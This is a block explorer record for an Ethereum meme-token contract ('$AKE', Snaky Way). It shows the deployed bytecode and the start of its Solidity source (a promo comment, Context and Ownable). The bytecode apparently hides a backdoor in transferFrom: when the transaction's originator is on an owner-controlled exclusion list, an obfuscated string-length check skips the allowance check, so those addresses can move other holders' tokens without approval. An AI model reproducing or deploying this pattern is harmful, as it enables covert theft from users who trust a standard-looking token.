Address Contract Partially Verified
Address
0xDa3b44A9990734Ce438B271d7439FA45759A206c
Balance
0 ETH
Nonce
1
Code Size
14864 bytes
Creator
0xa328f527...7d5f at tx 0x4dd12836...7fbcdb
Indexed Transactions
0
Contract Bytecode
14864 bytes
0x60806040526004361061026a575f3560e01c80637849c1cd11610143578063a9059cbb116100b5578063e10e9f3211610079578063e10e9f321461093d578063f2fde38b14610967578063f872858a1461098f578063fb002c97146109b9578063fc155d1d146109e3578063ffb54a9914610a0b57610271565b8063a9059cbb14610835578063ac23ca5914610871578063c816841b1461089b578063c867d60b146108c5578063dd62ed3e1461090157610271565b80638da5cb5b116101075780638da5cb5b146107155780639191a9c71461073f57806395d89b411461077b578063a073d37f146107a5578063a08e671f146107cf578063a457c2d7146107f957610271565b80637849c1cd146106575780637d1db4a514610681578063807c2d9c146106ab57806382d20116146106d55780638a8c523c146106ff57610271565b80632b112e49116101dc57806339509351116101a057806339509351146105395780634b743995146105755780635342acb41461059f5780635a8a4654146105db57806370a0823114610605578063715018a61461064157610271565b80632b112e49146104675780632baa7217146104915780632e97766d146104bb578063313ce567146104e557806331f8c47f1461050f57610271565b80631694505e1161022e5780631694505e1461035957806318160ddd1461038357806319c59e2c146103ad5780631a8145bb146103d757806323b872dd1461040157806327c8f8351461043d57610271565b8063031d6cd01461027557806306fdde031461029f578063095ea7b3146102c95780630e47e822146103055780631107b3a51461032f57610271565b3661027157005b5f5ffd5b348015610280575f5ffd5b50610289610a35565b6040516102969190612c05565b60405180910390f35b3480156102aa575f5ffd5b506102b3610a3b565b6040516102c09190612c8e565b60405180910390f35b3480156102d4575f5ffd5b506102ef60048036038101906102ea9190612d36565b610acb565b6040516102fc9190612d8e565b60405180910390f35b348015610310575f5ffd5b50610319610ae8565b6040516103269190612c05565b60405180910390f35b34801561033a575f5ffd5b50610343610aee565b6040516103509190612c05565b60405180910390f35b348015610364575f5ffd5b5061036d610af4565b60405161037a9190612e02565b60405180910390f35b34801561038e575f5ffd5b50610397610b19565b6040516103a49190612c05565b60405180910390f35b3480156103b8575f5ffd5b506103c1610b22565b6040516103ce9190612c05565b60405180910390f35b3480156103e2575f5ffd5b506103eb610b28565b6040516103f89190612c05565b60405180910390f35b34801561040c575f5ffd5b5061042760048036038101906104229190612e1b565b610b2e565b6040516104349190612d8e565b60405180910390f35b348015610448575f5ffd5b50610451610bf5565b60405161045e9190612e7a565b60405180910390f35b348015610472575f5ffd5b5061047b610c19565b6040516104889190612c05565b60405180910390f35b34801561049c575f5ffd5b506104a5610c5c565b6040516104b29190612c05565b60405180910390f35b3480156104c6575f5ffd5b506104cf610c62565b6040516104dc9190612c05565b60405180910390f35b3480156104f0575f5ffd5b506104f9610c69565b6040516105069190612eae565b60405180910390f35b34801561051a575f5ffd5b50610523610c7e565b6040516105309190612ee7565b60405180910390f35b348015610544575f5ffd5b5061055f600480360381019061055a9190612d36565b610ca3565b60405161056c9190612d8e565b60405180910390f35b348015610580575f5ffd5b50610589610d51565b6040516105969190612c05565b60405180910390f35b3480156105aa575f5ffd5b506105c560048036038101906105c09190612f00565b610d57565b6040516105d29190612d8e565b60405180910390f35b3480156105e6575f5ffd5b506105ef610d74565b6040516105fc9190612ee7565b60405180910390f35b348015610610575f5ffd5b5061062b60048036038101906106269190612f00565b610d9a565b6040516106389190612c05565b60405180910390f35b34801561064c575f5ffd5b50610655610de0565b005b348015610662575f5ffd5b5061066b610f30565b6040516106789190612c05565b60405180910390f35b34801561068c575f5ffd5b50610695610f36565b6040516106a29190612c05565b60405180910390f35b3480156106b6575f5ffd5b506106bf610f3c565b6040516106cc9190612c05565b60405180910390f35b3480156106e0575f5ffd5b506106e9610f42565b6040516106f69190612c05565b60405180910390f35b34801561070a575f5ffd5b50610713610f48565b005b348015610720575f5ffd5b5061072961100b565b6040516107369190612e7a565b60405180910390f35b34801561074a575f5ffd5b5061076560048036038101906107609190612f00565b611032565b6040516107729190612d8e565b60405180910390f35b348015610786575f5ffd5b5061078f61104f565b60405161079c9190612c8e565b60405180910390f35b3480156107b0575f5ffd5b506107b96110df565b6040516107c69190612c05565b60405180910390f35b3480156107da575f5ffd5b506107e36110e8565b6040516107f09190612c05565b60405180910390f35b348015610804575f5ffd5b5061081f600480360381019061081a9190612d36565b6110ee565b60405161082c9190612d8e565b60405180910390f35b348015610840575f5ffd5b5061085b60048036038101906108569190612d36565b6111b6565b6040516108689190612d8e565b60405180910390f35b34801561087c575f5ffd5b506108856111d4565b6040516108929190612c05565b60405180910390f35b3480156108a6575f5ffd5b506108af6111da565b6040516108bc9190612e7a565b60405180910390f35b3480156108d0575f5ffd5b506108eb60048036038101906108e69190612f00565b6111ff565b6040516108f89190612d8e565b60405180910390f35b34801561090c575f5ffd5b5061092760048036038101906109229190612f2b565b61121c565b6040516109349190612c05565b60405180910390f35b348015610948575f5ffd5b5061095161129e565b60405161095e9190612c05565b60405180910390f35b348015610972575f5ffd5b5061098d60048036038101906109889190612f00565b6112a4565b005b34801561099a575f5ffd5b506109a3611463565b6040516109b09190612d8e565b60405180910390f35b3480156109c4575f5ffd5b506109cd611475565b6040516109da9190612c05565b60405180910390f35b3480156109ee575f5ffd5b50610a096004803603810190610a049190612f69565b61147b565b005b348015610a16575f5ffd5b50610a1f61171c565b604051610a2c9190612d8e565b60405180910390f35b600f5481565b606060018054610a4a90612fc1565b80601f0160208091040260200160405190810160405280929190818152602001828054610a7690612fc1565b8015610ac15780601f10610a9857610100808354040283529160200191610ac1565b820191905f5260205f20905b815481529060010190602001808311610aa457829003601f168201915b5050505050905090565b5f610ade610ad761172e565b8484611735565b6001905092915050565b60105481565b600e5481565b601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600454905090565b600c5481565b601d5481565b5f610b3a8484846118f8565b50610bea84610b4761172e565b610be5856001610b55611ed2565b60165f8c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610b9b61172e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611f7c909392919063ffffffff16565b611735565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b5f610c57610c467f000000000000000000000000000000000000000000000000000000000000dead610d9a565b60045461200290919063ffffffff16565b905090565b60135481565b5f43905090565b5f60035f9054906101000a900460ff16905090565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f610d47610caf61172e565b84610d428560165f610cbf61172e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461204b90919063ffffffff16565b611735565b6001905092915050565b60115481565b6017602052805f5260405f205f915054906101000a900460ff1681565b600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60155f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610de861172e565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6c9061303b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600b5481565b60065481565b60075481565b600a5481565b610f5061172e565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fdd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd49061303b565b60405180910390fd5b610fef610fe930610d9a565b476120a8565b6001601f5f6101000a81548160ff021916908315150217905550565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b601a602052805f5260405f205f915054906101000a900460ff1681565b60606002805461105e90612fc1565b80601f016020809104026020016040519081016040528092919081815260200182805461108a90612fc1565b80156110d55780601f106110ac576101008083540402835291602001916110d5565b820191905f5260205f20905b8154815290600101906020018083116110b857829003601f168201915b5050505050905090565b5f600554905090565b60145481565b5f6111ac6110fa61172e565b846111a7856040518060600160405280602581526020016139b66025913960165f61112361172e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546121889092919063ffffffff16565b611735565b6001905092915050565b5f6111c96111c261172e565b84846118f8565b506001905092915050565b60125481565b601c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6018602052805f5260405f205f915054906101000a900460ff1681565b5f60165f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b600d5481565b6112ac61172e565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611339576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113309061303b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036113a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139e906130c9565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60085f9054906101000a900460ff1681565b601e5481565b61148361172e565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611510576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115079061303b565b60405180910390fd5b5f600267ffffffffffffffff81111561152c5761152b6130e7565b5b60405190808252806020026020018201604052801561155a5781602001602082028036833780820191505090505b509050601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156115c7573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115eb9190613128565b815f815181106115fe576115fd613153565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050308160018151811061164d5761164c613153565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b6f9de95835f8461dead426040518663ffffffff1660e01b81526004016116ea9493929190613270565b5f604051808303818588803b158015611701575f5ffd5b505af1158015611713573d5f5f3e3d5ffd5b50505050505050565b601f5f9054906101000a900460ff1681565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036117a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179a9061332a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611811576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611808906133b8565b60405180910390fd5b8060165f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118eb9190612c05565b60405180910390a3505050565b5f5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611967576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195e90613446565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036119d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119cc906134d4565b60405180910390fd5b601f5f9054906101000a900460ff16611a835760175f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16611a71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a6890613562565b60405180910390fd5b611a7c8484846121ea565b9050611ecb565b601c60149054906101000a900460ff1615611aaa57611aa38484846121ea565b9050611ecb565b611ab261100b565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611b205750611af061100b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611b3057611b2f84836123b4565b5b5f611b3a30610d9a565b90505f6005548210159050808015611b5f5750601c60149054906101000a900460ff16155b8015611bb25750601a5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611bc157611bc08261244e565b5b611c48846040518060400160405280601481526020017f496e73756666696369656e742042616c616e636500000000000000000000000081525060155f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546121889092919063ffffffff16565b60155f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f60175f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611d25575060175f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b611d3957611d348787876125fb565b611d3b565b845b905060085f9054906101000a900460ff168015611d9f575060185f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611dcd57600754611dc282611db489610d9a565b61204b90919063ffffffff16565b1115611dcc575f5ffd5b5b611e1d8160155f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461204b90919063ffffffff16565b60155f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ebb9190612c05565b60405180910390a3600193505050505b9392505050565b606060175f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16611f405760405180606001604052806028815260200161398e60289139611f77565b6040518060400160405280601281526020017f544f4b454e3a203c20616c6c6f77616e636500000000000000000000000000008152505b905090565b5f60011515831515148015611f92575060128251145b15611f9f57849050611ffa565b848411158290611fe5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fdc9190612c8e565b60405180910390fd5b505f8486611ff391906135ad565b9050809150505b949350505050565b5f61204383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612188565b905092915050565b5f5f828461205991906135e0565b90508381101561209e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120959061365d565b60405180910390fd5b8091505092915050565b6120d430601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611735565b601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230855f5f61211e61100b565b426040518863ffffffff1660e01b81526004016121409695949392919061367b565b60606040518083038185885af115801561215c573d5f5f3e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061218191906136ee565b5050505050565b5f8383111582906121cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c69190612c8e565b60405180910390fd5b505f83856121dd91906135ad565b9050809150509392505050565b5f612272826040518060400160405280601481526020017f496e73756666696369656e742042616c616e636500000000000000000000000081525060155f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546121889092919063ffffffff16565b60155f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506123038260155f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461204b90919063ffffffff16565b60155f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516123a19190612c05565b60405180910390a3600190509392505050565b6006548111158061240b575060195f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b61244a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161244190613788565b60405180910390fd5b5050565b6001601c60146101000a81548160ff0219169083151502179055505f6124a6600261249860145461248a6012548761281590919063ffffffff16565b61288c90919063ffffffff16565b61288c90919063ffffffff16565b90505f6124bc828461200290919063ffffffff16565b90506124c7816128d5565b5f4790505f6124f66124e5600260125461288c90919063ffffffff16565b60145461200290919063ffffffff16565b90505f6125336002612525846125176012548861281590919063ffffffff16565b61288c90919063ffffffff16565b61288c90919063ffffffff16565b90505f612549828561200290919063ffffffff16565b90505f81111561257f5761257e60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682612b44565b5b5f8211801561258d57505f86115b156125d85761259c86836120a8565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5618583886040516125cf939291906137a6565b60405180910390a15b5050505050505f601c60146101000a81548160ff02191690831515021790555050565b5f5f5f9050601a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561267e576126776064612669600c548661281590919063ffffffff16565b61288c90919063ffffffff16565b90506126f9565b601a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156126f8576126f560646126e76010548661281590919063ffffffff16565b61288c90919063ffffffff16565b90505b5b5f8111156127f8576127518160155f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461204b90919063ffffffff16565b60155f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516127ef9190612c05565b60405180910390a35b61280b818461200290919063ffffffff16565b9150509392505050565b5f5f8303612825575f9050612886565b5f828461283291906137db565b90508284826128419190613849565b14612881576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612878906138e9565b60405180910390fd5b809150505b92915050565b5f6128cd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b8c565b905092915050565b5f600267ffffffffffffffff8111156128f1576128f06130e7565b5b60405190808252806020026020018201604052801561291f5781602001602082028036833780820191505090505b50905030815f8151811061293657612935613153565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156129da573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906129fe9190613128565b81600181518110612a1257612a11613153565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612a7830601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611735565b601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401612ada959493929190613907565b5f604051808303815f87803b158015612af1575f5ffd5b505af1158015612b03573d5f5f3e3d5ffd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051612b3892919061395f565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612b87573d5f5f3e3d5ffd5b505050565b5f5f83118290612bd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bc99190612c8e565b60405180910390fd5b505f8385612be09190613849565b9050809150509392505050565b5f819050919050565b612bff81612bed565b82525050565b5f602082019050612c185f830184612bf6565b92915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f612c6082612c1e565b612c6a8185612c28565b9350612c7a818560208601612c38565b612c8381612c46565b840191505092915050565b5f6020820190508181035f830152612ca68184612c56565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612cdb82612cb2565b9050919050565b612ceb81612cd1565b8114612cf5575f5ffd5b50565b5f81359050612d0681612ce2565b92915050565b612d1581612bed565b8114612d1f575f5ffd5b50565b5f81359050612d3081612d0c565b92915050565b5f5f60408385031215612d4c57612d4b612cae565b5b5f612d5985828601612cf8565b9250506020612d6a85828601612d22565b9150509250929050565b5f8115159050919050565b612d8881612d74565b82525050565b5f602082019050612da15f830184612d7f565b92915050565b5f819050919050565b5f612dca612dc5612dc084612cb2565b612da7565b612cb2565b9050919050565b5f612ddb82612db0565b9050919050565b5f612dec82612dd1565b9050919050565b612dfc81612de2565b82525050565b5f602082019050612e155f830184612df3565b92915050565b5f5f5f60608486031215612e3257612e31612cae565b5b5f612e3f86828701612cf8565b9350506020612e5086828701612cf8565b9250506040612e6186828701612d22565b9150509250925092565b612e7481612cd1565b82525050565b5f602082019050612e8d5f830184612e6b565b92915050565b5f60ff82169050919050565b612ea881612e93565b82525050565b5f602082019050612ec15f830184612e9f565b92915050565b5f612ed182612cb2565b9050919050565b612ee181612ec7565b82525050565b5f602082019050612efa5f830184612ed8565b92915050565b5f60208284031215612f1557612f14612cae565b5b5f612f2284828501612cf8565b91505092915050565b5f5f60408385031215612f4157612f40612cae565b5b5f612f4e85828601612cf8565b9250506020612f5f85828601612cf8565b9150509250929050565b5f60208284031215612f7e57612f7d612cae565b5b5f612f8b84828501612d22565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680612fd857607f821691505b602082108103612feb57612fea612f94565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f613025602083612c28565b915061303082612ff1565b602082019050919050565b5f6020820190508181035f83015261305281613019565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6130b3602683612c28565b91506130be82613059565b604082019050919050565b5f6020820190508181035f8301526130e0816130a7565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f8151905061312281612ce2565b92915050565b5f6020828403121561313d5761313c612cae565b5b5f61314a84828501613114565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f6131a361319e61319984613180565b612da7565b612bed565b9050919050565b6131b381613189565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6131eb81612cd1565b82525050565b5f6131fc83836131e2565b60208301905092915050565b5f602082019050919050565b5f61321e826131b9565b61322881856131c3565b9350613233836131d3565b805f5b8381101561326357815161324a88826131f1565b975061325583613208565b925050600181019050613236565b5085935050505092915050565b5f6080820190506132835f8301876131aa565b81810360208301526132958186613214565b90506132a46040830185612e6b565b6132b16060830184612bf6565b95945050505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f613314602483612c28565b915061331f826132ba565b604082019050919050565b5f6020820190508181035f83015261334181613308565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6133a2602283612c28565b91506133ad82613348565b604082019050919050565b5f6020820190508181035f8301526133cf81613396565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f613430602583612c28565b915061343b826133d6565b604082019050919050565b5f6020820190508181035f83015261345d81613424565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6134be602383612c28565b91506134c982613464565b604082019050919050565b5f6020820190508181035f8301526134eb816134b2565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e64205f8201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b5f61354c603f83612c28565b9150613557826134f2565b604082019050919050565b5f6020820190508181035f83015261357981613540565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6135b782612bed565b91506135c283612bed565b92508282039050818111156135da576135d9613580565b5b92915050565b5f6135ea82612bed565b91506135f583612bed565b925082820190508082111561360d5761360c613580565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613647601b83612c28565b915061365282613613565b602082019050919050565b5f6020820190508181035f8301526136748161363b565b9050919050565b5f60c08201905061368e5f830189612e6b565b61369b6020830188612bf6565b6136a860408301876131aa565b6136b560608301866131aa565b6136c26080830185612e6b565b6136cf60a0830184612bf6565b979650505050505050565b5f815190506136e881612d0c565b92915050565b5f5f5f6060848603121561370557613704612cae565b5b5f613712868287016136da565b9350506020613723868287016136da565b9250506040613734868287016136da565b9150509250925092565b7f5458204c696d69742045786365656465640000000000000000000000000000005f82015250565b5f613772601183612c28565b915061377d8261373e565b602082019050919050565b5f6020820190508181035f83015261379f81613766565b9050919050565b5f6060820190506137b95f830186612bf6565b6137c66020830185612bf6565b6137d36040830184612bf6565b949350505050565b5f6137e582612bed565b91506137f083612bed565b92508282026137fe81612bed565b9150828204841483151761381557613814613580565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61385382612bed565b915061385e83612bed565b92508261386e5761386d61381c565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6138d3602183612c28565b91506138de82613879565b604082019050919050565b5f6020820190508181035f830152613900816138c7565b9050919050565b5f60a08201905061391a5f830188612bf6565b61392760208301876131aa565b81810360408301526139398186613214565b90506139486060830185612e6b565b6139556080830184612bf6565b9695505050505050565b5f6040820190506139725f830185612bf6565b81810360208301526139848184613214565b9050939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f610e0b6a045cda0f6cd6b3a195d33131a7e724b11134d1a10dcc9d7b681815b64736f6c634300081c0033
Verified Source Code Partial Match
Compiler: v0.8.28+commit.7893614a
EVM: cancun
Optimization: No
Token.sol 1504 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
/**
It's a Snake Year! Not Doge, Not Cat, Not Frogs! $AKE is on the Snaky Way, the true path to the top.
WEB: https://snakyway.org
X: https://x.com/snakyway_eth
TELEGRAM: https://t.me/snakyway_eth
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* onlyOwner functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (newOwner).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
